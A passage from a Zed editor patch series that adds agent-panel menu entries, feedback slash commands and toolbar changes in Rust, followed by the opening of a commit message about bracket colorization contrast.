+<path d="M12.0295 14.8008V10.0281" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M14.4177 11.8366L12.0297 9.44867L9.64166 11.8366" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M1.66669 12.3688C1.66667 11.445 1.93321 10.5408 2.43433 9.76481C2.93545 8.98877 3.64985 8.37383 4.49181 7.99376C5.33376 7.61369 6.26751 7.48465 7.18099 7.62211C8.09447 7.75958 8.94888 8.15772 9.64169 8.76875" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M7.61473 7.34036C7.25075 7.49113 6.86064 7.56873 6.46668 7.56873C5.67103 7.56873 4.90796 7.25266 4.34535 6.69005C3.78275 6.12744 3.46667 5.36438 3.46667 4.56873C3.46667 3.77308 3.78275 3.01001 4.34535 2.44741C4.90796 1.8848 5.67103 1.56873 6.46668 1.56873C6.86064 1.56873 7.25075 1.64632 7.61473 1.79709C7.9787 1.94785 8.30942 2.16883 8.58799 2.44741C8.86657 2.72598 9.08755 3.0567 9.23831 3.42068C9.38908 3.78465 9.46667 4.17476 9.46667 4.56873C9.46667 4.96269 9.38908 5.3528 9.23831 5.71678C9.08755 6.08075 8.86657 6.41147 8.58799 6.69005C8.30942 6.96862 7.9787 7.1896 7.61473 7.34036Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+</svg>
diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 88d8a5fd86d1bd..f22037c239af1b 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -5499,6 +5499,10 @@ impl AgentPanel {
                         .is_some_and(|thread| !thread.read(cx).is_generating_title())
             });
 
+        let has_thread_messages = conversation_view.as_ref().is_some_and(|conversation_view| {
+            conversation_view.read(cx).has_user_submitted_prompt(cx)
+        });
+
         let has_auth_methods = match &self.base_view {
             BaseView::AgentThread { conversation_view } => {
                 conversation_view.read(cx).has_auth_methods()
@@ -5534,15 +5538,15 @@ impl AgentPanel {
             .with_handle(self.agent_panel_menu_handle.clone())
             .menu({
                 move |window, cx| {
-                    Some(ContextMenu::build(window, cx, |mut menu, _window, _| {
+                    Some(ContextMenu::build(window, cx, |mut menu, _window, cx| {
                         menu = menu.context(menu_action_context.clone());
 
-                        if can_regenerate_thread_title {
+                        if has_thread_messages {
                             menu = menu.header("Current Thread");
 
                             if let Some(conversation_view) = conversation_view.as_ref() {
-                                menu = menu
-                                    .entry("Regenerate Thread Title", None, {
+                                if can_regenerate_thread_title {
+                                    menu = menu.entry("Regenerate Thread Title", None, {
                                         let conversation_view = conversation_view.clone();
                                         let workspace = workspace.clone();
                                         move |_, cx| {
@@ -5552,8 +5556,29 @@ impl AgentPanel {
                                                 cx,
                                             );
                                         }
-                                    })
-                                    .separator();
+                                    });
+                                }
+
+                                let root_thread_view =
+                                    conversation_view.read(cx).root_thread_view();
+                                if let Some(thread_view) = root_thread_view {
+                                    let workspace = workspace.clone();
+                                    menu = menu.entry("Open Thread as Markdown", None, {
+                                        move |window, cx| {
+                                            if let Some(workspace) = workspace.upgrade() {
+                                                thread_view.update(cx, |thread_view, cx| {
+                                                    thread_view
+                                                        .open_thread_as_markdown(
+                                                            workspace, window, cx,
+                                                        )
+                                                        .detach_and_log_err(cx);
+                                                });
+                                            }
+                                        }
+                                    });
+                                }
+
+                                menu = menu.separator();
                             }
                         }
 
@@ -5631,11 +5656,29 @@ impl AgentPanel {
                                         },
                                     );
                                 }
-
-                                menu = menu.separator();
                             }
 
-                            menu = menu.action("Profiles", Box::new(ManageProfiles::default()));
+                            menu = menu
+                                .separator()
+                                .header("MCP Servers")
+                                .action(
+                                    "Add Server…",
+                                    Box::new(zed_actions::OpenSettingsAt {
+                                        path: "context_servers".to_string(),
+                                        target: None,
+                                    }),
+                                )
+                                .action(
+                                    "Install New Servers…",
+                                    Box::new(zed_actions::Extensions {
+                                        category_filter: Some(
+                                            zed_actions::ExtensionCategoryFilter::ContextServers,
+                                        ),
+                                        id: None,
+                                    }),
+                                )
+                                .separator()
+                                .action("Profiles", Box::new(ManageProfiles::default()));
                         }
 
                         menu = menu
diff --git a/crates/agent_ui/src/completion_provider.rs b/crates/agent_ui/src/completion_provider.rs
index d25eae39064cea..ccc95c2fc4ede1 100644
--- a/crates/agent_ui/src/completion_provider.rs
+++ b/crates/agent_ui/src/completion_provider.rs
@@ -190,6 +190,51 @@ impl PromptContextAction {
     }
 }
 
+/// A slash command that runs a local UI action against the conversation
+/// (sending feedback) instead of being sent to the agent as part of a prompt.
+/// Each variant maps to a method on `ThreadView`; the completion provider only
+/// surfaces them and emits an event, while `ThreadView` performs the actual
+/// work (see `handle_message_editor_event`).
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum PromptLocalCommand {
+    ThumbsUp,
+    ThumbsDown,
+}
+
+impl PromptLocalCommand {
+    pub fn keyword(&self) -> &'static str {
+        match self {
+            Self::ThumbsUp => "helpful",
+            Self::ThumbsDown => "not-helpful",
+        }
+    }
+
+    pub fn label(&self) -> &'static str {
+        match self {
+            Self::ThumbsUp => "Positive Feedback",
+            Self::ThumbsDown => "Negative Feedback",
+        }
+    }
+
+    pub fn description(&self) -> &'static str {
+        match self {
+            Self::ThumbsUp => {
+                "Rate this response as helpful. Sends the current conversation to the Zed team."
+            }
+            Self::ThumbsDown => {
+                "Rate this response as not helpful. Sends the current conversation to the Zed team."
+            }
+        }
+    }
+
+    pub fn icon(&self) -> IconName {
+        match self {
+            Self::ThumbsUp => IconName::ThumbsUp,
+            Self::ThumbsDown => IconName::ThumbsDown,
+        }
+    }
+}
+
 impl TryFrom<&str> for PromptContextType {
     type Error = String;
 
@@ -366,13 +411,15 @@ impl AvailableCommand {
 enum SlashCompletionCandidate {
     Skill(AvailableSkill),
     Command(AvailableCommand),
+    LocalCommand(PromptLocalCommand),
 }
 
 impl SlashCompletionCandidate {
-    fn name(&self) -> &Arc<str> {
+    fn name(&self) -> &str {
         match self {
             Self::Skill(skill) => &skill.name,
             Self::Command(command) => &command.name,
+            Self::LocalCommand(command) => command.keyword(),
         }
     }
 }
@@ -385,6 +432,7 @@ fn slash_completion_group_key(candidate: &SlashCompletionCandidate) -> u32 {
     match candidate {
         SlashCompletionCandidate::Skill(_) => 0,
         SlashCompletionCandidate::Command(command) => 1 + command.category_order() as u32,
+        SlashCompletionCandidate::LocalCommand(_) => 4,
     }
 }
 
@@ -411,6 +459,13 @@ pub trait PromptCompletionProviderDelegate: Send + Sync + 'static {
     fn available_skills(&self, _cx: &App) -> Vec<AvailableSkill> {
         Vec::new()
     }
+
+    fn available_local_commands(&self, _cx: &App) -> Vec<PromptLocalCommand> {
+        Vec::new()
+    }
+
+    fn run_local_command(&self, _command: PromptLocalCommand, _cx: &mut App) {}
+
     fn confirm_command(&self, cx: &mut App);
 
     /// Called once each time the user opens slash-command autocomplete
@@ -959,15 +1014,21 @@ impl<T: PromptCompletionProviderDelegate> PromptCompletionProvider<T> {
 
         let mut candidates = self
             .source
-            .available_skills(cx)
+            .available_commands(cx)
             .into_iter()
-            .map(SlashCompletionCandidate::Skill)
+            .map(SlashCompletionCandidate::Command)
             .collect::<Vec<_>>();
         candidates.extend(
             self.source
-                .available_commands(cx)
+                .available_skills(cx)
                 .into_iter()
-                .map(SlashCompletionCandidate::Command),
+                .map(SlashCompletionCandidate::Skill),
+        );
+        candidates.extend(
+            self.source
+                .available_local_commands(cx)
+                .into_iter()
+                .map(SlashCompletionCandidate::LocalCommand),
         );
         if candidates.is_empty() {
             return Task::ready(Vec::new());
@@ -1429,7 +1490,10 @@ impl<T: PromptCompletionProviderDelegate> CompletionProvider for PromptCompletio
                                             Some((new_text, icon_path, icon_color, confirm)),
                                         )
                                     }
-                                    SlashCompletionCandidate::Command(_) => (candidate, None),
+                                    SlashCompletionCandidate::Command(_)
+                                    | SlashCompletionCandidate::LocalCommand(_) => {
+                                        (candidate, None)
+                                    }
                                 })
                                 .collect::<Vec<(SlashCompletionCandidate, Option<SkillInfo>)>>()
                         })
@@ -1542,6 +1606,50 @@ impl<T: PromptCompletionProviderDelegate> CompletionProvider for PromptCompletio
                                     group,
                                 }
                             }
+                            SlashCompletionCandidate::LocalCommand(command) => {
+                                let group = show_section_headers.then(|| CompletionGroup {
+                                    key: "local-commands".into(),
+                                    label: Some("Actions".into()),
+                                });
+
+                                Completion {
+                                    replace_range: source_range.clone(),
+                                    // Local commands aren't part of the prompt;
+                                    // confirming one clears the typed text
+                                    // rather than leaving `/keyword` behind.
+                                    new_text: String::new(),
+                                    label: CodeLabel::plain(command.label().to_string(), None),
+                                    documentation: Some(
+                                        CompletionDocumentation::MultiLinePlainText(
+                                            command.description().into(),
+                                        ),
+                                    ),
+                                    source: project::CompletionSource::Custom,
+                                    icon_path: Some(command.icon().path().into()),
+                                    icon_color: None,
+                                    match_start: None,
+                                    snippet_deduplication_key: None,
+                                    insert_text_mode: None,
+                                    confirm: Some(Arc::new({
+                                        let source = source.clone();
+                                        move |intent, _window, cx| {
+                                            cx.defer({
+                                                let source = source.clone();
+                                                move |cx| match intent {
+                                                    CompletionIntent::Complete
+                                                    | CompletionIntent::CompleteWithInsert
+                                                    | CompletionIntent::CompleteWithReplace => {
+                                                        source.run_local_command(command, cx);
+                                                    }
+                                                    CompletionIntent::Compose => {}
+                                                }
+                                            });
+                                            false
+                                        }
+                                    })),
+                                    group,
+                                }
+                            }
                         })
                         .collect();
 
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index fc0f5b96a580ce..858fc5e840eba0 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -23,7 +23,7 @@ use editor::actions::OpenExcerpts;
 use feature_flags::{AcpBetaFeatureFlag, FeatureFlagAppExt as _};
 use sandbox::{SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy};
 
-use crate::completion_provider::AvailableSkill;
+use crate::completion_provider::{AvailableSkill, PromptLocalCommand};
 use crate::message_editor::SharedSessionCapabilities;
 use crate::ui::{SandboxGroup, SandboxRow, SandboxSection, SandboxStatusTooltip};
 
@@ -36,6 +36,7 @@ use language_model::{
     FastModeConfirmation, LanguageModel, LanguageModelEffortLevel, LanguageModelId,
     LanguageModelProvider, LanguageModelProviderId, LanguageModelRegistry, Speed,
 };
+use notifications::status_toast::StatusToast;
 use settings::{update_settings_file, update_settings_file_with_completion};
 use ui::{
     ButtonLike, CalloutBorderPosition, SpinnerLabel, SpinnerVariant, SplitButton, SplitButtonStyle,
@@ -1109,11 +1110,48 @@ impl ThreadView {
             }
             MessageEditorEvent::LostFocus => {}
             MessageEditorEvent::SlashAutocompleteOpened => {}
+            MessageEditorEvent::LocalCommandInvoked(command) => {
+                self.run_local_command(*command, window, cx);
+            }
             MessageEditorEvent::InputAttempted { .. } => {}
             MessageEditorEvent::Edited => {}
         }
     }
 
+    fn run_local_command(
+        &mut self,
+        command: PromptLocalCommand,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        match command {
+            PromptLocalCommand::ThumbsUp => {
+                self.handle_feedback_click(ThreadFeedback::Positive, window, cx);
+                self.show_local_command_toast("Thanks for your feedback!", cx);
+            }
+            PromptLocalCommand::ThumbsDown => {
+                self.handle_feedback_click(ThreadFeedback::Negative, window, cx);
+            }
+        }
+    }
+
+    fn show_local_command_toast(&self, message: impl Into<SharedString>, cx: &mut Context<Self>) {
+        // Shown after positive feedback, replacing the inline button state.
+        let Some(workspace) = self.workspace.upgrade() else {
+            return;
+        };
+        workspace.update(cx, |workspace, cx| {
+            let toast = StatusToast::new(message, cx, |this, _cx| {
+                this.icon(
+                    Icon::new(IconName::Check)
+                        .size(IconSize::Small)
+                        .color(Color::Success),
+                )
+            });
+            workspace.toggle_status_toast(toast, cx);
+        });
+    }
+
     pub(crate) fn as_native_connection(
         &self,
         cx: &App,
@@ -1250,6 +1288,7 @@ impl ThreadView {
             }
             ViewEvent::MessageEditorEvent(_editor, MessageEditorEvent::SlashAutocompleteOpened) => {
             }
+            ViewEvent::MessageEditorEvent(_editor, MessageEditorEvent::LocalCommandInvoked(_)) => {}
             ViewEvent::MessageEditorEvent(_editor, MessageEditorEvent::Edited) => {}
             ViewEvent::MessageEditorEvent(_editor, MessageEditorEvent::InputAttempted { .. }) => {}
             ViewEvent::OpenDiffLocation {
@@ -6580,42 +6619,50 @@ impl ThreadView {
         cx: &Context<Self>,
     ) -> impl IntoElement {
         let is_generating = matches!(thread.read(cx).status(), ThreadStatus::Generating);
+
         if is_generating {
             return Empty.into_any_element();
         }
 
-        let open_as_markdown = IconButton::new("open-as-markdown", IconName::FileMarkdown)
-            .shape(ui::IconButtonShape::Square)
-            .icon_size(IconSize::Small)
-            .icon_color(Color::Ignored)
-            .tooltip(Tooltip::text("Open Thread as Markdown"))
-            .on_click(cx.listener(move |this, _, window, cx| {
-                if let Some(workspace) = this.workspace.upgrade() {
-                    this.open_thread_as_markdown(workspace, window, cx)
-                        .detach_and_log_err(cx);
-                }
-            }));
+        let last_response_index = thread
+            .read(cx)
+            .entries()
+            .iter()
+            .rposition(|entry| matches!(entry, AgentThreadEntry::AssistantMessage(_)));
+
+        let copy_response_button = last_response_index.map(|response_index| {
+            IconButton::new("copy_agent_response", IconName::Copy)
+                .icon_size(IconSize::Small)
+                .icon_color(Color::Muted)
+                .tooltip(Tooltip::text("Copy This Agent Response"))
+                .on_click(cx.listener(move |this, _, _, cx| {
+                    let entries = this.thread.read(cx).entries();
+                    if let Some(text) = Self::get_agent_message_content(entries, response_index, cx)
+                    {
+                        cx.write_to_clipboard(ClipboardItem::new_string(text));
+                    }
+                }))
+        });
 
         let scroll_to_recent_user_prompt =
-            IconButton::new("scroll_to_recent_user_prompt", IconName::ForwardArrow)
-                .shape(ui::IconButtonShape::Square)
+            IconButton::new("scroll_to_recent_user_prompt", IconName::UserArrowUp)
                 .icon_size(IconSize::Small)
-                .icon_color(Color::Ignored)
-                .tooltip(Tooltip::text("Scroll To Most Recent User Prompt"))
+                .icon_color(Color::Muted)
+                .tooltip(Tooltip::text("Scroll to Most Recent User Message"))
                 .on_click(cx.listener(move |this, _, _, cx| {
                     this.scroll_to_most_recent_user_prompt(cx);
                 }));
 
         let scroll_to_top = IconButton::new("scroll_to_top", IconName::ArrowUp)
-            .shape(ui::IconButtonShape::Square)
             .icon_size(IconSize::Small)
-            .icon_color(Color::Ignored)
-            .tooltip(Tooltip::text("Scroll To Top"))
+            .icon_color(Color::Muted)
+            .tooltip(Tooltip::text("Scroll to Top"))
             .on_click(cx.listener(move |this, _, _, cx| {
                 this.scroll_to_top(cx);
             }));
 
         let show_stats = AgentSettings::get_global(cx).show_turn_stats;
+
         let last_turn_clock = show_stats
             .then(|| {
                 self.turn_fields
@@ -6643,65 +6690,30 @@ impl ThreadView {
             })
             .flatten();
 
-        let mut container = h_flex()
-            .w_full()
-            .py_2()
-            .px_5()
-            .gap_px()
-            .opacity(0.6)
-            .hover(|s| s.opacity(1.))
-            .justify_end()
-            .when(
-                last_turn_tokens_label.is_some() || last_turn_clock.is_some(),
-                |this| {
-                    this.child(
-                        h_flex()
-                            .gap_1()
-                            .px_1()
-                            .when_some(last_turn_tokens_label, |this, label| this.child(label))
-                            .when_some(last_turn_clock, |this, label| this.child(label)),
-                    )
-                },
-            );
-
-        let enable_thread_feedback = util::maybe!({
-            let project = thread.read(cx).project().read(cx);
-            let user_store = project.user_store();
-            if let Some(configuration) = user_store.read(cx).current_organization_configuration() {
-                if !configuration.is_agent_thread_feedback_enabled {
-                    return false;
-                }
-            }
-
-            AgentSettings::get_global(cx).enable_feedback
-                && self.thread.read(cx).connection().telemetry().is_some()
-        });
-
-        if enable_thread_feedback {
-            let feedback = self.thread_feedback.feedback;
-
-            let tooltip_meta = || {
-                SharedString::new(
-                    "Rating the thread sends all of your current conversation to the Zed team.",
-                )
-            };
+        let feedback_buttons = (self.is_subagent() && self.is_thread_feedback_enabled(cx)).then(
+            || {
+                let feedback = self.thread_feedback.feedback;
+                let tooltip_meta =
+                    "Rating the thread sends all of your current conversation to the Zed team.";
 
-            container = container
+                h_flex()
                     .child(
                         IconButton::new("feedback-thumbs-up", IconName::ThumbsUp)
-                            .shape(ui::IconButtonShape::Square)
                             .icon_size(IconSize::Small)
                             .icon_color(match feedback {
                                 Some(ThreadFeedback::Positive) => Color::Accent,
-                                _ => Color::Ignored,
+                                _ => Color::Muted,
                             })
                             .tooltip(move |window, cx| match feedback {
                                 Some(ThreadFeedback::Positive) => {
                                     Tooltip::text("Thanks for your feedback!")(window, cx)
                                 }
-                                _ => {
-                                    Tooltip::with_meta("Helpful Response", None, tooltip_meta(), cx)
-                                }
+                                _ => Tooltip::with_meta(
+                                    "Helpful Response",
+                                    None,
+                                    tooltip_meta,
+                                    cx,
+                                ),
                             })
                             .on_click(cx.listener(move |this, _, window, cx| {
                                 this.handle_feedback_click(ThreadFeedback::Positive, window, cx);
@@ -6709,40 +6721,100 @@ impl ThreadView {
                     )
                     .child(
                         IconButton::new("feedback-thumbs-down", IconName::ThumbsDown)
-                            .shape(ui::IconButtonShape::Square)
                             .icon_size(IconSize::Small)
                             .icon_color(match feedback {
                                 Some(ThreadFeedback::Negative) => Color::Accent,
-                                _ => Color::Ignored,
+                                _ => Color::Muted,
                             })
                             .tooltip(move |window, cx| match feedback {
-                                Some(ThreadFeedback::Negative) => {
-                                    Tooltip::text(
+                                Some(ThreadFeedback::Negative) => Tooltip::text(
                                     "We appreciate your feedback and will use it to improve in the future.",
-                                )(window, cx)
-                                }
-                                _ => {
-                                    Tooltip::with_meta(
-                                        "Not Helpful Response",
-                                        None,
-                                        tooltip_meta(),
-                                        cx,
-                                    )
-                                }
+                                )(
+                                    window, cx
+                                ),
+                                _ => Tooltip::with_meta(
+                                    "Not Helpful Response",
+                                    None,
+                                    tooltip_meta,
+                                    cx,
+                                ),
                             })
                             .on_click(cx.listener(move |this, _, window, cx| {
                                 this.handle_feedback_click(ThreadFeedback::Negative, window, cx);
                             })),
-                    );
-        }
+                    )
+            },
+        );
 
-        container
-            .child(open_as_markdown)
+        h_flex()
+            .w_full()
+            .py_1p5()
+            .px_4()
+            .justify_end()
+            .opacity(0.4)
+            .hover(|s| s.opacity(1.))
+            .when(
+                last_turn_tokens_label.is_some() || last_turn_clock.is_some(),
+                |this| {
+                    this.child(
+                        h_flex()
+                            .px_1()
+                            .gap_1()
+                            .when_some(last_turn_tokens_label, |this, label| {
+                                this.child(label).child(
+                                    Label::new("•")
+                                        .size(LabelSize::Small)
+                                        .color(Color::Muted)
+                                        .alpha(0.5),
+                                )
+                            })
+                            .when_some(last_turn_clock, |this, label| this.child(label)),
+                    )
+                },
+            )
+            .when_some(feedback_buttons, |this, buttons| this.child(buttons))
+            .when_some(copy_response_button, |this, button| this.child(button))
             .child(scroll_to_recent_user_prompt)
             .child(scroll_to_top)
             .into_any_element()
     }
 
+    fn is_thread_feedback_enabled(&self, cx: &App) -> bool {
+        util::maybe!({
+            let project = self.thread.read(cx).project().read(cx);
+            let user_store = project.user_store();
+            if let Some(configuration) = user_store.read(cx).current_organization_configuration() {
+                if !configuration.is_agent_thread_feedback_enabled {
+                    return false;
+                }
+            }
+
+            AgentSettings::get_global(cx).enable_feedback
+                && self.thread.read(cx).connection().telemetry().is_some()
+        })
+    }
+
+    // The local slash commands the message editor should currently expose.
+    // Kept in sync with the availability of the corresponding actions via
+    // `sync_local_commands`.
+    fn available_local_commands(&self, cx: &App) -> Vec<PromptLocalCommand> {
+        let mut commands = Vec::new();
+
+        if self.is_thread_feedback_enabled(cx) {
+            commands.push(PromptLocalCommand::ThumbsUp);
+            commands.push(PromptLocalCommand::ThumbsDown);
+        }
+
+        commands
+    }
+
+    // Pushes the current set of available local commands to the message
+    // editor so they appear in its slash-command popup.
+    pub(crate) fn sync_local_commands(&self, cx: &App) {
+        let commands = self.available_local_commands(cx);
+        self.message_editor.read(cx).set_local_commands(commands);
+    }
+
     fn render_request_elicitations(&self, cx: &Context<Self>) -> Vec<AnyElement> {
         let server_view = self.server_view.clone();
         let handlers_view = server_view.clone();
@@ -11523,6 +11595,11 @@ impl ThreadView {
 
 impl Render for ThreadView {
     fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        // Keep the message editor's local slash commands in sync with the
+        // current availability of feedback/sharing, which can change between
+        // renders (settings, connection state, feature flags).
+        self.sync_local_commands(cx);
+
         let has_messages = self.list_state.item_count() > 0;
         let list_state = self.list_state.clone();
 
diff --git a/crates/agent_ui/src/message_editor.rs b/crates/agent_ui/src/message_editor.rs
index f262e44f506b03..f9878d6c5adff5 100644
--- a/crates/agent_ui/src/message_editor.rs
+++ b/crates/agent_ui/src/message_editor.rs
@@ -5,7 +5,7 @@ use crate::{
     completion_provider::{
         AgentContextSelection, AvailableCommand, AvailableSkill, PromptCompletionProvider,
         PromptCompletionProviderDelegate, PromptContextAction, PromptContextType,
-        SlashCommandCompletion,
+        PromptLocalCommand, SlashCommandCompletion,
     },
     mention_set::{Mention, MentionImage, MentionSet, insert_crease_for_mention},
 };
@@ -140,10 +140,13 @@ impl SessionCapabilities {
 
 pub type SharedSessionCapabilities = Arc<RwLock<SessionCapabilities>>;
 
+pub type SharedLocalCommands = Arc<RwLock<Vec<PromptLocalCommand>>>;
+
 struct MessageEditorCompletionDelegate {
     session_capabilities: SharedSessionCapabilities,
     has_thread_store: bool,
     message_editor: WeakEntity<MessageEditor>,
+    local_commands: SharedLocalCommands,
 }
 
 impl PromptCompletionProviderDelegate for MessageEditorCompletionDelegate {
@@ -165,6 +168,18 @@ impl PromptCompletionProviderDelegate for MessageEditorCompletionDelegate {
         self.session_capabilities.read().completion_skills()
     }
 
+    fn available_local_commands(&self, _cx: &App) -> Vec<PromptLocalCommand> {
+        self.local_commands.read().clone()
+    }
+
+    fn run_local_command(&self, command: PromptLocalCommand, cx: &mut App) {
+        self.message_editor
+            .update(cx, |_this, cx| {
+                cx.emit(MessageEditorEvent::LocalCommandInvoked(command));
+            })
+            .ok();
+    }
+
     fn slash_autocomplete_invoked(&self, cx: &mut App) {
         // This may be called synchronously from inside a `MessageEditor`
         // update (e.g. when pasting a slash command triggers completions),
@@ -189,6 +204,7 @@ pub struct MessageEditor {
     editor: Entity<Editor>,
     workspace: WeakEntity<Workspace>,
     session_capabilities: SharedSessionCapabilities,
+    local_commands: SharedLocalCommands,
     agent_id: AgentId,
     thread_store: Option<Entity<ThreadStore>>,
     _subscriptions: Vec<Subscription>,
@@ -213,6 +229,11 @@ pub enum MessageEditorEvent {
     /// editor. Used by `ThreadView` to fire the global-skills scan
     /// trigger; see `NativeAgent::ensure_skills_scan_started`.
     SlashAutocompleteOpened,
+    /// Emitted when the user confirms a local slash command (scrolling,
+    /// exporting, feedback) in this editor's completion popup. `ThreadView`
+    /// handles it by running the corresponding action; see
+    /// `handle_message_editor_event`.
+    LocalCommandInvoked(PromptLocalCommand),
     InputAttempted {
         attempt: InputAttempt,
         cursor_offset: usize,
@@ -484,11 +505,13 @@ impl MessageEditor {
             editor
         });
         let mention_set = cx.new(|_cx| MentionSet::new(project, thread_store.clone()));
+        let local_commands: SharedLocalCommands = Arc::new(RwLock::new(Vec::new()));
         let completion_provider = Rc::new(PromptCompletionProvider::new(
             MessageEditorCompletionDelegate {
                 session_capabilities: session_capabilities.clone(),
                 has_thread_store: thread_store.is_some(),
                 message_editor: cx.weak_entity(),
+                local_commands: local_commands.clone(),
             },
             editor.downgrade(),
             mention_set.clone(),
@@ -583,6 +606,7 @@ impl MessageEditor {
             mention_set,
             workspace,
             session_capabilities,
+            local_commands,
             agent_id,
             thread_store,
             _subscriptions: subscriptions,
@@ -590,6 +614,10 @@ impl MessageEditor {
         }
     }
 
+    pub fn set_local_commands(&self, commands: Vec<PromptLocalCommand>) {
+        *self.local_commands.write() = commands;
+    }
+
     pub fn set_session_capabilities(
         &mut self,
         session_capabilities: SharedSessionCapabilities,
@@ -2211,8 +2239,9 @@ fn find_matching_bracket(text: &str, open: char, close: char) -> Option<usize> {
 
 #[cfg(test)]
 mod tests {
-    use std::{ops::Range, path::Path, path::PathBuf, sync::Arc};
+    use std::{ops::Range, path::Path, path::PathBuf, rc::Rc, sync::Arc};
 
+    use super::PromptLocalCommand;
     use acp_thread::MentionUri;
     use agent::{ThreadStore, outline};
     use agent_client_protocol::schema::v1 as acp;
@@ -2909,6 +2938,118 @@ mod tests {
         });
     }
 
+    /// Local commands set via `set_local_commands` must surface in the
+    /// slash-command popup, and confirming one must emit
+    /// `MessageEditorEvent::LocalCommandInvoked` (so `ThreadView` can run the
+    /// corresponding action) without leaving the `/keyword` in the editor.
+    #[gpui::test]
+    async fn test_local_commands_complete_and_emit_event(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let app_state = cx.update(AppState::test);
+
+        cx.update(|cx| {
+            editor::init(cx);
+            workspace::init(app_state.clone(), cx);
+        });
+
+        let project = Project::test(app_state.fs.clone(), [path!("/dir").as_ref()], cx).await;
+        let window =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window
+            .read_with(cx, |mw, _| mw.workspace().clone())
+            .unwrap();
+
+        let mut cx = VisualTestContext::from_window(window.into(), cx);
+
+        let session_capabilities = Arc::new(RwLock::new(SessionCapabilities::from_acp_commands(
+            acp::PromptCapabilities::default(),
+            Vec::new(),
+        )));
+
+        let (message_editor, editor) = workspace.update_in(&mut cx, |workspace, window, cx| {
+            let workspace_handle = cx.weak_entity();
+            let message_editor = cx.new(|cx| {
+                MessageEditor::new(
+                    workspace_handle,
+                    project.downgrade(),
+                    None,
+                    session_capabilities.clone(),
+                    "Test Agent".into(),
+                    "Test",
+                    EditorMode::AutoHeight {
+                        max_lines: None,
+                        min_lines: 1,
+                    },
+                    window,
+                    cx,
+                )
+            });
+            workspace.active_pane().update(cx, |pane, cx| {
+                pane.add_item(
+                    Box::new(cx.new(|_| MessageEditorItem(message_editor.clone()))),
+                    true,
+                    true,
+                    None,
+                    window,
+                    cx,
+                );
+            });
+            message_editor.read(cx).focus_handle(cx).focus(window, cx);
+            let editor = message_editor.read(cx).editor().clone();
+            (message_editor, editor)
+        });
+
+        message_editor.read_with(&cx, |message_editor, _| {
+            message_editor.set_local_commands(vec![
+                PromptLocalCommand::ThumbsUp,
+                PromptLocalCommand::ThumbsDown,
+            ]);
+        });
+
+        let invoked = Rc::new(std::cell::RefCell::new(Vec::new()));
+        let _subscription = cx.update(|_, cx| {
+            cx.subscribe(&message_editor, {
+                let invoked = invoked.clone();
+                move |_editor, event, _cx| {
+                    if let MessageEditorEvent::LocalCommandInvoked(command) = event {
+                        invoked.borrow_mut().push(*command);
+                    }
+                }
+            })
+        });
+
+        // `/helpful` would fuzzy-match both commands ("helpful" is a
+        // subsequence of "not-helpful"), so drive the unambiguous keyword.
+        cx.simulate_input("/not-helpful");
+        cx.run_until_parked();
+
+        editor.read_with(&cx, |editor, _| {
+            assert!(editor.has_visible_completions_menu());
+            assert_eq!(
+                current_completion_labels(editor),
+                &[PromptLocalCommand::ThumbsDown.label().to_string()],
+            );
+        });
+
+        editor.update_in(&mut cx, |editor, window, cx| {
+            editor.confirm_completion(&editor::actions::ConfirmCompletion::default(), window, cx);
+        });
+
+        cx.run_until_parked();
+
+        editor.read_with(&cx, |editor, cx| {
+            // The `/keyword` text is removed when a local command is confirmed.
+            assert_eq!(editor.text(cx), "");
+            assert!(!editor.has_visible_completions_menu());
+        });
+
+        assert_eq!(
+            invoked.borrow().as_slice(),
+            &[PromptLocalCommand::ThumbsDown],
+        );
+    }
+
     /// Opening slash-command autocomplete must emit
     /// [`MessageEditorEvent::SlashAutocompleteOpened`]. `ThreadView`
     /// subscribes to that event to fire the global-skills scan trigger
diff --git a/crates/icons/src/icons.rs b/crates/icons/src/icons.rs
index 56182da2133bfb..3e22896e3256e8 100644
--- a/crates/icons/src/icons.rs
+++ b/crates/icons/src/icons.rs
@@ -281,6 +281,7 @@ pub enum IconName {
     TriangleRight,
     Undo,
     Unpin,
+    UserArrowUp,
     UserCheck,
     UserGroup,
     UserRoundPen,

From bcd54d0adf13bf261c2d148c80941c51bd82ffa7 Mon Sep 17 00:00:00 2001
From: Kai Kozlov <37962720+kaikozlov@users.noreply.github.com>
Date: Wed, 1 Jul 2026 12:36:23 -0500
Subject: [PATCH 197/772] editor: Add intelligent bracket colorization (#51580)

Closes #50210

Bracket colorization currently runs theme accents through
`ensure_minimum_contrast`, which can significantly alter authored
palette colors in order to satisfy a single foreground-vs-background
target. In practice, that makes rainbow brackets drift away from the
theme colors they are supposed to reflect.

This PR keeps bracket colorization as a single automatic behavior, but
changes how the palette is derived:

- preserve authored accent colors when they already work
- adjust only the specific accents that are too weak against the editor
background
- only reorder the palette when adjacent bracket levels are still too
similar after that

The implementation is staged because bracket colorization has to handle
two separate problems:

- **Bracket-vs-Background Readability**: is an individual bracket
visible against the editor background?
- **Adjacent Bracket Separation**: can you still distinguish one nesting
level from the next?

Those two constraints are also why the implementation cannot simply
defer to whatever accent colors the theme provides. Some themes,
including the bundled One and Ayu, do not define explicit accents at
all, so bracket colorization falls back to Zed's shared default accent
palette. That palette was not designed with any particular theme's
background in mind, which makes the background contrast check especially
important for those cases.

That is why the previous `ensure_minimum_contrast(..., 55.0)` path is
not enough on its own. It addresses foreground-vs-background
readability, but if lightness-only adjustment cannot satisfy that target
it escalates to saturation reduction and then black/white fallback.

